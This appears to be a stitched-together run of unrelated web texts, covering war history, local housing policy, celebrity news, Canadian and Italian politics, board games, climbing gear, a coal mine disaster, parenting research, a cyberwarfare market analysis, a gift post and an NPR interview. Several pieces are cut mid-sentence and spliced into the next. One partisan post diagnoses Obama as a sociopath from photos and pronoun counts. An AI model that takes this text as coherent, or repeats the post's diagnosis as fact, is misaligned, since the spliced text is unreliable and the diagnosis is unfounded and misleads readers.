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The First World War began on this day in 1914, a month to the day after the assassination of Franz Ferdinand, heir to the Austro-Hungarian throne, triggered a series of diplomatic maneuverings among European powers. When Serbia, backed by Russia, which had an alliance with France, refused to accede to Austria-Hungary’s demands, backed by Germany, to suppress its nationalist movement, Austria-Hungary declared war. In the week thereafter most European nations jumped in on one side or another. The Nation’s editorial two days later, “War Madness,” placed the blame mostly on German militarism, but also blamed the “mob psychology” that so many times since, not least in this country, has accompanied and cheered for the escalation of diplomatic disputes into outright wars. Ad Policy
Mob psychology often shows itself in discouraging and alarming forms, but is never so repulsive and appalling as when it is seen in great crowds shouting for war. Lest we forget, indeed! About nothing does the mob forget so quickly as about war…. To all this, the official declaration of war by Austria was the inevitable sequel. It is a step which was taken without a decent regard for the opinion of mankind, and is fraught with consequences which may easily amount to that terrible “catastrophe” of which Sir Edward Grey [the British foreign secretary] solemnly warned Europe on Monday. The dullest must see that what Austria is driving at is not simply a blow at Pan-Serbism, but the acquisition of Servian territory. This, however, would surely not be permitted by the Powers, no matter how rapid may be the triumph of Austrian arms, without reference to a European Conference. The German Emperor has refused to assent to the calling of such a Conference in advance, in order to prevent war, if possible, but it will have to come later—unless, indeed, all the Continental nations should be drawn into the conflict which Austria has so arrogantly and wickedly begun.
July 28, 1914
To mark The Nation’s 150th anniversary, every morning this year The Almanac will highlight something that happened that day in history and how The Nation covered it. Get The Almanac every day (or every week) by signing up to the e-mail newsletter.COSTA MESA More “accessory apartment units,” sometimes known as granny flats, could be coming if officials endorse proposed rules that would expand where they are permitted.
The first hurdle was cleared Tuesday, Oct. 10 when the Planning Commission voted 4-1 to bring the city in conformity with a state law that makes it easier for residents to build accessory units — thereby increasing affordable housing stock.
Commissioner Jeff Harlan dissented but acknowledged the need for affordable housing options.
“I see the need for housing and this is one way to do it,” he said. “It’s not the only way. To my mind, this is at least an attempt for us to encourage housing that we need, housing that people can probably afford.”
The proposed rules would permit the secondary units on lots of at least 7,500 square feet in single-family zones — down from the 8,500 square feet currently allowed.
Granny flats are not currently allowed in multi-family areas, but would be permitted on lots of 6,000 to 7,260 square feet under the proposed rules.
If approved by the City Council at a later date, the rules could add about 3,895 accessory units in the city, though the number could be far lower, given certain parking and spacing requirements, according to a staff report.
Newport Beach recently got rid of its restrictions to allow more secondary living units.
Though the proposed changes moved forward, some commissioners criticized the mandate, arguing it could change the character of Costa Mesa’s single-family neighborhoods.
“It completely ignores our general plan and basically allows for increased density for R1 (single-family) neighborhoods,” said Commission Chairman Stephan Andranian. ”
Commissioner Carla Navarro Woods said granny flats would provide housing options to multi-generational families and middle-class families of lower financial means.
“Those are the folks that I think that this law is really directed to,” she said. “Folks that can’t afford to live close to the coast and this gives them the opportunity to do so.Story highlights Renee Zellweger returns to the role of Bridget Jones in 'Bridget Jones's Baby'
The film hits theaters on Friday
(CNN) Renee Zellweger sees aspects of herself in the lovingly awkward character of Bridget Jones.
"[We're both] prone to different sorts of disaster. Badly timed disasters," Zellweger told CNN at an event this week to celebrate the third film in the Jones franchise "Bridget Jones's Baby."
"[Bridget] is known for her imperfections and trying to maintain composure despite whatever challenges she's facing," Zellweger said. "I love her openness. I love her vulnerability. I love how authentic she is."
Still, Zellweger said she felt a little stressed about returning to the role.
"[I was under] self-imposed pressure because so many people love this character and I don't want to do a disservice to her and misrepresent it in some way," she said.
Read MoreCanada's Parliament resumes today after its two-month summer break. The NDP is expected to challenge the Conservatives over the second budget bill. Like the controversial Bill C-38, the omnibus budget bill which passed in June, the second bill is expected to have far-reaching impacts on public services.
Finance Minister Jim Flaherty promised that the upcoming budget bill will have “quite a bit” in it, and will include outstanding items mentioned in the budget but left out of the first piece of legislation, including:
Changes for government employee and Parliamentarian pension plans
Selling-off of government-owned assets
Shifting the focus of research by the National Research Council to more "demand-driven research", according to the Canada's Economic Action Plan website.
Government House leader Peter Van Loan said details of the fall legislative agenda will be announced on Monday. Referring to the marathon 24-hour vote in June, during which Opposition members tried to make amendments to Bill C-38, Van Loan said he expects another long battle over the upcoming budget bill.
“Will I be surprised if they play parliamentary games and obstruction? No, I won’t be,” Van Loan said in an interview. “I guess we’ll have to deal with that.”
NDP House Leader Nathan Cullen, meanwhile, said that Van Loan has turned down the party's requests to meet with him about the Conservatives' priorities for the fall session.
The Liberal Party warned that the Tories can expect a backlash if the procedure for the second budget bill is similar to that of Bill C-38.
“If it’s the same kind of attitude and the same style that we saw in the spring, then there’s very likely to be a lot of acrimony about that,” deputy Liberal leader Ralph Goodale told The Globe and Mail.
“Not only did members of Parliament not like it, but Canadians generally didn’t like that approach to just lumping everything together, cutting off debate, ramming it through and telling people basically to go to hell.”
Green Party MP Elizabeth May, who proposed over 300 amendments to the previous omnibus budget bill, said that she is watching for further weakening of environment and species at risk legislation.
"At this point it's all speculation but I have good reason to suspect they'll be taking aim at the Species at Risk Act, undermining the protection of endangered species in the same way they underminined the protection of fish habitats," May said, referring to the controversial cuts to fish habitat protection in Bill C-38.
May said she also suspected "further damage" to the Navigable Waters Protection Act adding that the Harper government weakened the Act in 2009, and in 2012 with Bill C-38.
However, May said that there were some measures she would support, such as regulations and protections on tankers and pipeline inspections.
"[The Harper government] actually claimed those were actually in C-38, but they weren't, so I can only expect that they're going to put it in the second budget omnibus bill," May said. "I'll be reading it carefully and putting forward to improvements."
Asked if she expects another 24 hour marathon vote with amendments, May said it depends on what she has to work with.
"We'll see what happens. I have a a hard time imagining that they could come up wth 425 pages more touching 70 different laws in the way that C-38 did," she said. "If its a reasonably sized bill, I'll have more reasonable numbers of amendments."
With files from Beth HongSignup to receive a daily roundup of the top LGBT+ news stories from around the world
No immediate ruling has been made in a legal challenge by thirteen states to the Obama Administration’s sweeping directive in favour of trans rights for students.
The Obama administration has intervened on LGBT rights earlier this year after a string of laws attempted to roll back LGBT discrimination protections, purportedly to stop trans people from going to the bathroom.
The federal government wrote to every school in the US to advise them that they are obliged not to discriminate against trans people.
However, that hasn’t gone down well with hard-right Republicans – with GOP politicians in Oklahoma attempting to impeach Obama.
But Texas Attorney General Ken Paxton was not the only one to file a lawsuit in federal court against the Obama administration.
Officials in twelve other states asked a federal judge to halt the directive as students prepare to go back to school.
But US District Judge Reed O’Connor in Fort Worth heard arguments that the Administration’s directive was unconstitutional but so far has not made a ruling.
While the Administration has not explicitly suggested school districts could lose federal funding if they do not comply, it has also not ruled out the possibility.
Attorneys for the Obama Administration argued that the directive was not unconstitutional and that school districts had no reason to believe that they shouldn’t adhere to it.
The US Supreme Court surprised earlier this month ruled that a school can temporarily block a trans student from using male bathroom facilities during a legal battle over trans rights.
Five out of eight justices on the Supreme Court voted to stay the ruling from the US District Court in Norfolk, Virginia, which was made in June.
The Virginia court in June ruled that Grimm must be able to use the men’s facilities in his Virginia Gloucester County high school.Image copyright Reuters Image caption Silvio Berlusconi said the charges against him were politically motivated
An appeals court in Italy has upheld the conviction for tax fraud of former Prime Minister Silvio Berlusconi.
The court also reinstated a four-year prison sentence and five-year ban from public office he was handed in October.
Mr Berlusconi was convicted of artificially inflating prices of film distribution rights bought by his company, Mediaset, to avoid taxes.
He is now expected to appeal against Wednesday's ruling at Italy's highest court, the Court of Cassation.
The 76-year-old has denied the charges and said they are politically motivated.
Time limit
But instead of overturning October's verdict, the Milan appeals court on Wednesday upheld his conviction for tax evasion and re-instated the original jail sentence. The four-year term had been cut to one year by a lower court because of his age.
Silvio Berlusconi's trials Accused of paying for sex with an underage prostitute: Verdict due
Convicted and sentenced to a year in jail for arranging leak of police wiretap
and to a year in jail for arranging leak of police wiretap Accused of tax fraud over deals his firm Mediaset made to purchase TV rights to US films: Convicted in October 2012; Sentence upheld by appeals court in May
in October 2012; in May Two other corruption cases involving tax evasion and bribery of a British lawyer: Expired under statute of limitations Q&A: Silvio Berlusconi on trial
"We knew it would go like this," Mr Berlusconi's defence lawyer Niccolo Ghedini told reporters.
There is however no real prospect of Mr Berlusconi being jailed, as he will exercise his right to appeal and the case will actually soon expire under a time limit, the BBC's Alan Johnston in Rome reports.
Nevertheless, this is another major legal blow for Mr Berlusconi, whose People of Freedom (PdL) party is part of Italy's new coalition government, he adds.
Our correspondent says that in the eyes of the law Mr Berlusconi is a convicted fraudster, but he will argue as he always does that all his legal troubles are the simply the work of his political enemies - left-wing elements in the judiciary.
In March, in a separate case, Mr Berlusconi was sentenced to a year in jail after being convicted of arranging for a police wiretap concerning a political rival to be leaked and published in a newspaper run by his brother. He denied the charges and is expected to appeal.
Mr Berlusconi is also currently on trial for allegedly paying for sex with an underage prostitute, and later abusing his powers by putting pressure on the police to release her from custody. He has admitted sending her money, but insists the funds were meant as a gift.
In other trials over the years, Mr Berlusconi has been accused of charges including accounting fraud, perjury, bribery and corruption. He has denied all the accusations against him and has either been acquitted or let off under statutes of limitations.Starting a hangout on a post (left); Joining a hangout already in progress (right)
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Moustaches in Movember (left); Antlers in December (right)I want to talk about the “click”.
I saw the click just a few days ago, playing a game that the other player hadn’t ever played before. It’s a click you can see, like a switch flipping behind a person’s eyes. What’s better than seeing a person you like finding enjoyment in something? It’s amazing when you see it – really satisfying. Yes, even when that click goes click at a point when the other player is HAMMERING you into the ground. It’s also a click you can feel, and I want to talk about the times I’ve felt it – and I hope you’ll maybe share some of the times you’ve felt the click too.
Click to read on.
THE CLICK
What is the click? And what does it have to do with board games? Let’s say that the click is a moment of realisation – a flip from a state of procedural progression to a state of awakened pleasure. When you listen to a piece of music, and that music is just playing there in the background, not distracting you from what you’re doing? That’s fine. That’s always nice. But sometimes, listening to a new piece of music, the click happens, and you turn towards the sound. If you’re reading, your head goes up. If you’re vacuuming, you turn the vacuum off. You stop. The click makes you stop.
“Oh, this is something.”
It’s fitting that we talk about the click on a PC gaming site, because the best PC games made us go click. I remember the point, early in Deus Ex, when I realised that I didn’t need to do what the game was suggesting. I tried something, it worked, and I felt that switch flip inside. It’s not just the realisation that something is special, it’s the realisation that the thing has completely pushed your buttons. “This isn’t just something special, it’s something special for me.”
Skiing in Tribes. Click.
“Get down on the floor!” in SWAT 3. Click.
Opening your eyes in Proteus. Instant Click.
Laying the last block of your first shelter in Minecraft. Click.
And so – board games. Yes. Nothing clicks like a board game clicks. Board games live or die by their clicks.
BATTLEFIELD 4
I’ve been playing Battlefield 4 a lot recently. I mentioned “procedural progression” earlier, and that’s exactly what Battlefield 4 feels like. It’s fun, and it’s something to do, and it tears my days away in half hour chunks. It never clicks. There’s absolutely nothing special in there, not for me anyway. But I like it a lot. I’m explaining this because I want to make it clear that you can enjoy something without feeling any special pull inside you. Not everything flips your switch, and not everything has to.
WHAT CLICKED WITH ME
In Cosmic Encounter, right from the get-go, you realise that the rules you’ve just read and learned are only part of the story. Each unique alien under player control brings new rules and exceptions into the game.
“I can do this.”
“That’s cool, but I can do this.”
In my very first game, when I had to stop and think about how these randomly selected alien powers would affect the whole dynamic? Click.
In Mall Of Horror, a zombie game I’ve spoken about many times in this column, there’s a point in the game where you access a security camera that lets you see where the zombies will attack. This information is secret, and yours alone, and you can share it or lie about it. You can use it to negotiate. It gives you power, and the other players look at you with hatred because of it. And those looks? That moment? That secret knowledge? Everything that will happen because of it? Click.
In Magic: The Gathering, you learn to play by playing. You lay out lands, and generate mana. You spend that mana to get some cool cards out of your hand and onto the table. All you care about is getting a cool monster out there so you can attack your opponent. But then, always |
hard to take a hand-built piece of gear, the product of weeks or even months of work, and put it in a machine specifically designed to break it, but that’s where the real learning takes place. Anyone with a shop in their garage and a rudimentary understanding of physics can build a cam that will pass CE tests. But what happens when a cam is placed in a horizontal crack, twisted, with the lobes flared? Or in a bottoming crack, weighted with an off-axis pull? Each test reveals strengths and exposes weaknesses, and the prototypes evolve until Kolin, Bill, Jeremy and all the other engineers are satisfied.
“When you’re making this gear, you always want to secretly deliver more than the customer expects out of the equipment. You don’t ever want to over-sell them on expectations and then have them be dangerously disappointed. You want to sell them something that they’re expecting to do one thing, and it actually does 25% more than that, so if they do get into a situation that’s beyond what they signed up for, there’s a fairly good chance that the gear is going to see them through anyway.”
Racking up with X4 Camalots. New gear for the next generation of projects Mason Earle on the crux of Alpenbock Crack—5.14 climbing above the smallest X4 After attempts by Mason and other strong climbers, the Alpenbock Crack remains a project
“Every time you come out with a new evolution of gear, it allows people to push things a bit farther.” Jeremy says, summing up the entire history of climbing gear innovation. Back in Little Cottonwood, Mason considers what it will take to send Alpenbock Crack. “The only way that I’m going to be able to execute the hard moves above there,” he says, “is if I’ve got the peace of mind to focus on rock climbing and not landing on my ass on a bunch of rocks.” From George Lowe smearing his way up the Dorsal Fin in hiking boots to Steve Hong sending the Coffin Roof and Fallen Arches, Little Cottonwood Canyon has seen a long tradition of doing what others thought could not be done, and this history gives Mason confidence. “It’s cool to try to add a bit of your own history to a place like this.”
It’s still cold when he ties in, takes off his puffy and pulls off the ground. He makes a few moves above the slab, past a nest of micro-Stoppers and slider nuts there for decoration only—mental duct tape, but not something you’d actually want to fall on. Mason places the smallest X4 at the very limit of his reach, then he casts off into the crux sequence.An apology
About six months ago I wrote a now-infamous post about why I left Google. I still stand behind most of what I wrote, but after thinking about it I need to address one point in particular: "Go failed to solve any significant problems."
I'm sorry I wrote this and I think it shows a significant lack of perspective. First, I don't know Go as a language, and I didn't then when I bashed it. When I wrote the post I was still frustrated with the unimaginativeness of Dart, and Go, from what I had seen, looked like another Java-ification of an otherwise interesting language (Erlang).
Let's suppose for a moment that I was right about that much. Even in that case, I don't think my point had much merit because Erlang has a number of problems that make it difficult to use in practice. The two that I've heard about most commonly are obscure syntax and suboptimal performance. If Google managed to solve just these problems with Go, then they've changed the landscape of programming languages enough to make writing concurrent programs much more approachable to normal people (i.e. people who don't get excited about phrases like "process calculus").
Anyway, I shouldn't have written this about Go. Google has started a number of interesting compiler/language projects and the only one I actually know enough about to criticize is Dart (which I still think is a disaster, but that's another rant). All of the others I've looked at have been meritorious in some significant way, whether as a matter of design or, more commonly, of exceptionally thoughtful implementation.Down the road from the disaster scene at the Upper Big Branch Mine, two unassuming brick buildings stand side by side, hugging the bank of the Big Coal River. One is the Assembly of God Church; the other is the meeting hall of Local 6608 of the United Mine Workers Union.
When you make your living digging coal, miner Albert T. Bonds says, you'd better have God and family behind you.
"It's a tight bunch — and a religious bunch — that's up and down the river," says Bonds, 51, who worked 27 years underground, eight of them at the Massey Energy Co. mine in nearby Montcoal, where 25 were killed and four still missing in an explosion Monday. "And it's a good place to grow up and be."
But to grow up here is to know that death, massive and swift, can come at any time. It hit home four years ago, when 12 miners died at the Sago Mine in the northeastern corner of the state, and again Monday when methane gas apparently ignited, causing the blast.
Benny R. Willingham, who died in Monday's explosion, was just five weeks from retirement. His daughter, Michelle McKinney, says he was looking forward to a Virgin Island cruise, but was also prepared for death.
"He talked about it all the time. He said if the Lord come and got him, he's ready," she said Tuesday as she clutched a photo of her parents and their youngest grandson. "He was a family man and he loved the Lord. We know where he's at, but we still want him to come back."
In isolated places like Raleigh County, there has never been much of a choice besides coal, timber and low-paying service jobs.
"That's what you get when you live in this area," said Terry Holstein, 49, a mine electrician. "Because that's all we have."
Unincorporated towns — neighborhoods really — cling to the banks of the Big Coal and up into the surrounding hollows. Covered conveyor belts snake up the sawtooth hills behind the clusters of houses, illuminating the moutainsides like strings of Christmas lights at night.
Holstein was supposed to start his underground shift at the Oak Hill mine at 5 a.m. Tuesday, but his boss told him to come in when he felt like it. At 7:15, he was just arriving at Charles B. Jarrell General Merchandise in Dry Creek to buy his day's supply of cigarettes: three packs of USA Full Flavors.
His boss "wanted to make sure our heads was right and stuff before we went in there," Holstein said as he stood on the store's cinderblock porch. "I wanted to be safe about what I'm doing and make sure I really wanted to go up there and do my job, and that I could do it right and safe."
As a herd of painted horses grazed on a hillside studded with redbud and dogwood trees in the slowly lifting mist, miners filed into the Jarrell store, their work pants striped with the telltale orange reflective tape, their rough hands stained with coal dust that can never be fully scrubbed off. The store, with its creaky wooden floors and dust-stained American flag, stocks everything from chewing tobacco and hose clamps to 50-pound salt blocks and apple deer corn for hunting season.
The oldest continuously run business in the county, it also doubles as Dry Creek's Post Office.
Although the names of the dead had yet to be officially released Tuesday morning, store manager Lavon Collins was sure each would be a familiar one. Already, regular takers of her ham and Colby sandwiches had failed to show.
"I usually have all kinds of guys," she said, her eyes brimming with tears. "I'm heartbroken."
Coal pays the mortgages on homes and the monthly payments on shiny new pickups, often bearing "Friends of Coal" stickers. Even though Massey Energy and some of its mining methods have stirred controversy, most here support the company and accuse outsiders of trying to divide the community with their criticisms.
At Flint's Hardware in Sylvester, just 8 miles north of Montcoal, miners' uniforms hung on the walls, equipment waiting to be purchased.
"We probably know 90 percent of the men," said Betty Taylor, who has worked there for eight years. "It's terrible.... People are just devastated. They don't know what to say, what to do."
At Libby's City Grill in Whitesville, the accident was the talk of every breakfast table, and owner James Scott was grieving his own loss. The family learned late Monday that his 58-year-old uncle, Deward Scott of Montcoal, was among the dead.
Deward Scott had spent his whole career in the mines except for a brief stint to teach karate — a skill he'd learned in the Army. But neither his uncle nor his customers at talked much about their work.
"I never heard anyone say anything about the mine, good or bad," James Scott said. "You just don't talk about it."
The tragedy binds everyone, said patron John Bell, 65, a retired schoolteacher from Whitesville.
"It's just like 9/11," he said. "I didn't know anybody personally, but the whole country was feeling it. We're all a part of it."
Larry Asbury, a retired miner from Sylvester, said his son is the director of a Massey mine-rescue team, but he hasn't talked to him since the explosion.
"This is rare, this many deaths," he said. "There's death in the mines every day, but not like this."
Asbury, 69, was an underground miner for 27 years and said he tried not to think about the danger, the fear.
"You didn't, or you wouldn't work," said Asbury, who suffered back, neck and head injuries when he was pinned against a mine rib in 1992. "And if you want to live in your own home, you'll work in the mines."
"God put coal up there," agreed Teddy Jarrell, 45, who works at a paint and body shop but whose father was a miner. "He give us but one way to get it out, that's it. God put the coal up there for us to get out to survive. So that's the way you get it out — take the mountain off."
There is a pride among miners that seems born of inevitability, or resignation. When you have no other choice, you can rage against fate, or embrace it.
"A coal miner is a rare breed," said Bonds, who switched to aboveground work at a coal preparation plant in 2006. "They're somewhat like a soldier, I think. Because every time you go underground, there's always a slight possibility you might not come out. But that's the occupation you've chosen. That's how you earn your living and feed your family."
Holstein, a father of five grown children, was shaken by Monday's explosion. But he has known for years that he could die "anytime, anywhere."
"You just put it in the back of your head and go on."
So on Tuesday morning, Holstein grabbed his lunch pail and said goodbye to his wife, Cassandra.
"Be careful," she told him. "I'll see you this evening."I make no apologies for it. It was a unanimous decision among my principals in my government, and a view that was shared by my Joint Chiefs of Staff. This is something I would do again and I will continue to do whenever I have an opportunity.
President Obama claims the US Government is “His Government” and uses “I” and “My” 7 times in 17 seconds. His comments show the known signs of Narcissists and Sociopaths.
Watch him say it here:
He made the comments in regard to his illegal release of the Top Five Taliban Terrorists for known low level deserter Bergdahl. He made it also after some in Congress have threatened to impeach him if he breaks the law again. The photo at the top of the page shows Obama putting his shoe on the Oval Office desk. Would you even think of doing that in a friend’s office? The photo comes from the Whitehouse, these are the photos that Obama wants us to see. There are many more photos Obama has released of him putting his feet on the Oval Office Desk. Here are just three of them.
Another sign of a sociopath is to show to themselves how powerful they are by being disrespectful to others and getting away with it. By saying he will break the law again “Whenever I can” and releasing photos of himself disrespecting the Oval Office, and being the first President I know of that claims the government is “His” and making absurd lies over and over again in public, Obama keeps proving to himself that he is “invincible”. Another sign of a sociopath.Temple is less direct: “The point of us doing this research isn’t to tell parents what to do,” he said, conjuring a libertarian-friendly approach to science. “Parenting is difficult and stressful, and people don't like to be told how to do it. Our job is just to provide them the evidence of what works, and what happens long-term.”
This abdication of the moral high ground is principled. He is fundamentally opposed to telling people what not to do. It’s not just a Texas thing; it’s proven not to work. He is instead a champion of “positive disciplining,” meaning focusing on what is good about a particular situation.
“Spanking is punishment, and punishment doesn’t work,” he said. “We know it with rats, we know it with humans. But if you can connect with a kid when they’re doing something right, they’re more likely to do that again in the future.”
As a father himself, he knows this is difficult to adhere to, but he believes this can happen even in the most difficult situation. “If a kid is having a temper tantrum and throwing things, and then next time they have a tantrum but don’t throw anything, say ‘I’m really glad you didn't throw anything.’”
The other evidence-based approach he recommends is taking something positive away. For younger children, that can mean taking away a toy temporarily. For older children and teenagers, this can mean taking away a cell phone. All of this is in service of teaching children to be respectful without disrupting the vital positive elements of the caretaker-child relationship.
At a larger scale, Temple believes one promising approach is school-based teaching of relationship skills. He is involved with a program call the Fourth R (meaning relationships), which is dedicated to baking healthy adolescent relationships into the curriculum. The ultimate target is violence of multiple sorts, including bullying, dating violence, peer violence, and group violence. But the focus is positive, not punitive, on how to build healthy relationships.
Temple believes this work is relevant to the national conversation on sexual assault and harassment. The discourse is doing an extraordinary job punishing—and of telling people how not to behave. Publicly accused perpetrators of sexual violence have been removed from their positions in droves, with the notable exceptions of Alabama Senate candidate Roy Moore and President Donald Trump. At the same time, though, if there is evidence that punishment-based approaches are ineffective in children—and the behavior of these men is in many ways juvenile, egocentric, inhumane—then this punitive approach is at best incomplete. It carries with it the risk of a false sense of progress.
When the public perceives that we have cleansed the halls of Congress and corporations of the several bad eggs who commit sexual harassment (violent or otherwise), how much of the structural problem is really solved? In the interim before the total eradication of men, what keeps these positions from being filled again by bad eggs? The punitive phase will, it seems, need to go hand in hand with positive reinforcement. This seems absurd in an ostensibly civilized era: No one deserves a reward for being a basically reasonable respectful human. Or maybe they do.As federal spending on national security has leveled off in recent years, big defense contractors have worked hard to secure a role in one of the few market segments expected to keep growing: cyberwarfare. It's a relatively new field where the terminology hasn't stabilized yet, but for the purposes of this posting, cyberwarfare means three things: attacking enemy networks, exploiting enemy information flows, and defending friendly networks. Most of the money Washington is currently spending on cyberwarfare goes to the latter activity -- securing friendly networks -- but offensive activities seem to be growing faster over time. They're really just different sides of the same coin, since it's hard to be good at defending computer networks if you don't have a thorough understanding of how to attack them.
The cyber goldrush was sparked in 2008 when President Bush signed two directives establishing a Comprehensive National Cybersecurity Initiative in response to the growing number of digital assaults on federal networks. The initiative was a signal to industry that a new demand driver had appeared in the marketplace just as everyone was getting ready for a prolonged downturn in military purchases. Seeing few other domestic opportunities on which to place bets with the cash they had accumulated during flush years, military contractors poured into the cyberwarfare field, building operations centers, purchasing niche players, and competing aggressively for contracts. The thinking was that cyber threats would keep proliferating for the foreseeable future, and defense companies were more likely to have the necessary clearances and market knowledge to compete in cyberwarfare than outsiders like Google or Microsoft.
No doubt about it, the cyberwarfare market has grown fast, helped along by an Obama Administration commitment to expand and refine the digital security efforts of its predecessors. Within months after taking office, President Obama established an executive-branch cybersecurity coordinator and a new Cyber Command colocated with the super-secret National Security Agency at Fort Meade, MD. NSA does most of the government's eavesdropping, so putting the command nearby and making its head the same general who runs the spy agency was a no brainer: NSA already had the ability to monitor internet traffic for hackers and other malefactors. Setting up the new command, staffing components from each military service, and implementing more stringent network security procedures at each federal agency will generate about $9 billion in federal outlays this year. Additional billions will be spent on classified programs to probe and monitor foreign networks, such as those in China.
But even as the government's cyberwarfare effort expands, some industry executives are beginning to wonder just how lucrative this new opportunity is likely to be. They already know it can't fill the revenue hole created by cancellation of dozens of weapons programs in recent years, and now they're starting to suspect the cyber field is so hyper-competitive and volatile they can't even count on it for significant earnings anytime soon. Once you get past all the fashionable rhetoric about information-age warfare and anarchy on the web, it's easy to see why they might be having second thoughts. Let's consider the many ways in which the cyberwarfare market should raise red flags for investors.
The first thing to understand about the cyberwarfare market is that, at least by federal standards, it just isn't very big. The $9 billion being spent this year on so-called information assurance and security activities is barely one day of federal spending at present rates, and it is fragmented among numerous agencies. It's true that the lion's share of funding goes to the Department of Defense, which oversees additional billions spent on network attack and exploitation, but in an organization that annually passes out $400 billion in contracts, it still doesn't amount to much. Market research firm Input projects federal cybersecurity funding will increase 9% annually through 2015, but the government is entering a period of severe fiscal austerity and there are many other claimants for government dollars. With every major contractor in the business straining to get a piece of this relatively small pie, the prospects for making a killing are not high.
A second problem with the cyberwarfare business is that threats are diverse and continuously evolving, which means it is hard for contractors to establish durable franchises. When companies compete to build military hardware, they expect that once a contract is won they will be the sole supplier of a weapon system for a decade or longer. But in cyberwarfare the government's needs keep changing because new threats emerge on a weekly basis. For instance, the deluge of WikiLeaks that has embarrassed policymakers in recent months has shifted attention from keeping hackers out of networks to keeping information in, which turns out to be a rather different challenge. The dynamism of cyber threats combined with the slow pace of federal acquisition procedures is a prescription for continuous frustration among contractors.
A third issue facing companies pursuing cyberwarfare opportunities is the relatively low barriers to entry in the current market. That's probably less true in the offensive segment of the market, where activities are so secret that companies must have special qualifications to bid, but on the defensive side of the ledger there are dozens of contractors and new niche players are constantly emerging. The cyberwarfare space is still wide open to any company that comes up with a point solution to an urgent problem, which means yesterday's winners can turn into today's losers. That's good for aggressive, agile companies like Raytheon that are willing to take risks and buy up niche players as they prove themselves, but some of the bigger companies in the defense business aren't accustomed to having so many competitors jostling for attention.
A fourth and related problem in the cyberwarfare space is the shortage of available talent, particularly in network attack and exploitation skills. The cyberwarfare market grew so fast that it outstripped available labor pools, so companies now find themselves bidding against each other and the federal customer for scarce skills. It's not that finding cyber specialists is hard, but securing the necessary clearances (foreigners need not apply) and keeping them trained so they can respond to the latest requirements is a constant challenge. This probably works to the advantage of Lockheed Martin, which is the biggest player in the federal information services market, because it has the mass and resources to keep up with changing needs, but for smaller players it's a big problem. Lockheed has recently won several major cyberwarfare awards at the expense of competitors, and seems to be a preferred destination for many specialists in the field.
A fifth difficulty in the government cyberwarfare market is the variability of management quality from agency to agency on network-related matters. Industry insiders generally agree that the National Security Agency has the greatest depth and breadth of expertise, because it has been working cyber issues far longer than other agencies. Executive expertise at the Department of Defense is more uneven, and at the Department of Homeland Security it is frequently deficient. These problems are most apparent at the program manager level, where middle-level executives may lack the experience to select among competing solutions to a problem. The job classification process and compensation levels prevailing in the federal civil service are not well suited for putting the best people into positions overseeing cyberwarfare work.
A final, chronic defect in the cyberwarfare market is the loose coordination of federal efforts to secure networks, not just between agencies but even within them. For example, at the same time that the Navy has stood up a cyber command to protect its warfighting nets, it has begun implementing a new information architecture called the Next Generation Enterprise Network likely to be more vulnerable to hackers and spies. The new network replaces a single system integrator with multiple teams of contractors who must compete annually for work, creating the kinds of seams and discontinuities intruders might seek to exploit. The fact a military service that invented the concept of network-centric warfare could pursue such an architecture at this late date suggests that in some parts of the federal government, nobody is really in charge of cyber policy or has the authority to mandate security standards.
So far, these various drawbacks have not discouraged big contractors from continuing to pursue cyberwarfare opportunities. The most aggressive players at present seem to be Raytheon, Science Applications International, General Dynamics and Lockheed Martin, but other players like BAE Systems and Boeing are rapidly bulking up. In other segments of the national-security marketplace, two or three of these companies would eventually emerge as the dominant players, and the rest would move on. But cyberwarfare isn't like other market segments -- it is still in flux, and may remain that way for a long time to come. That means even if government spending on cyberwarfare keeps growing, some players straining to get into the business are not going to be happy with how this new opportunity works out.
Loren Thompson is Chief Operating Officer of the non-profit Lexington Institute and Chief Executive Officer of the private consultancy Source Associates. The Lexington Institute receives money from many of the nation's leading defense contractors, and Source Associates provides technical services to companies in the industry.I just saw that my gift has arrived. But I will not be able to pick it up in the coming days because I'm on vacation.
Anyways. I just want to thank my Santa for being awesome and sending something for me. I'll be sure to update as soon as i come home.
UPDATE My santa send my gift December 18th since then i've been checking the tracking almost everyday. After almost an entire month, it finally arrived. xD
Yesterday, I came home from vacations and i saw my package waiting for me! man, i was so excited that i started to open up right away. Everything was lovingly packed with a golden string around.
The first one was a bike bell with a compass and a spoke wheel light for my bike. Wich is perfect for me, because i love cycling! I can't wait to use those brand new awesome accessories. :)
The another gift was a Finn's Hat from my favorite show of all time: ADVENTURE TIME. I've even slept last night wearing it. Thanks Santa!
The next gift took a little time until i figured out what this was! Haha.. My father was there to explain that it was a letter wax seal stamp!!! So cool, it even came with my initials: GT. That was definitely my favorite!
And last but not least: A Snuggie for my Dog! Yaaay. My dog loved it! Unfortunately with the hot Brazilian weather, she didn't keep it so long, but i'm sure it will be very useful in the winter! And plus: She looks very cute in it.Why Do Evangelicals Support Donald Trump? A Pastor Explains
NPR Audie Cornish interviews Robert Jeffress, pastor of the First Baptist Church of Dallas, about why he has been introducing Trump on the stump, despite concerns expressed by other Christian leaders.
AUDIE CORNISH, HOST:
Donald Trump is looking more and more like he could be the Republican nominee for president in November. In Congress, Republican leaders are beginning to reckon with that. We'll hear more about that in a moment. But first, Trump has won in key states so far in no small part because of white evangelical voters. Now, on the surface, that may not seem like a natural fit for values voters. Trump is a thrice-married real estate and casino mogul who, at times, has supported abortion. And he doesn't have the greatest familiarity with the Bible.
(SOUNDBITE OF ARCHIVED RECORDING)
DONALD TRUMP: Two Corinthians, right? Two Corinthians 3:17, that's the whole ballgame. Where the spirit of the Lord - right? - where the spirit of the Lord is, there is liberty.
CORNISH: Now here to talk about Trump's appeal among evangelicals is Robert Jeffress. He's pastor of the First Baptist Church of Dallas. Welcome to the program.
ROBERT JEFFRESS: Great to be with you. Thanks for having me.
CORNISH: Pastor Jeffress, you've introduced Trump on the campaign trail. Can you talk about what the reaction was from your congregation? I'm sure it was a mix.
JEFFRESS: We have, in our church, a mixture of support for different candidates. We have Rubio folks, Cruz folks and Trump folks. And I think it's really a microcosm of what's happening with evangelicals around the nation. I mean, the fact is, yes, Trump is a very unorthodox evangelical candidate, and yet he continues to garner not only the national polls but in many states, the lion's share of the evangelical vote.
CORNISH: Help people understand - people who are not from Texas - what the reluctance is when it comes to a Ted Cruz, who is a pastor's son, who has put his faith at the center of his campaign.
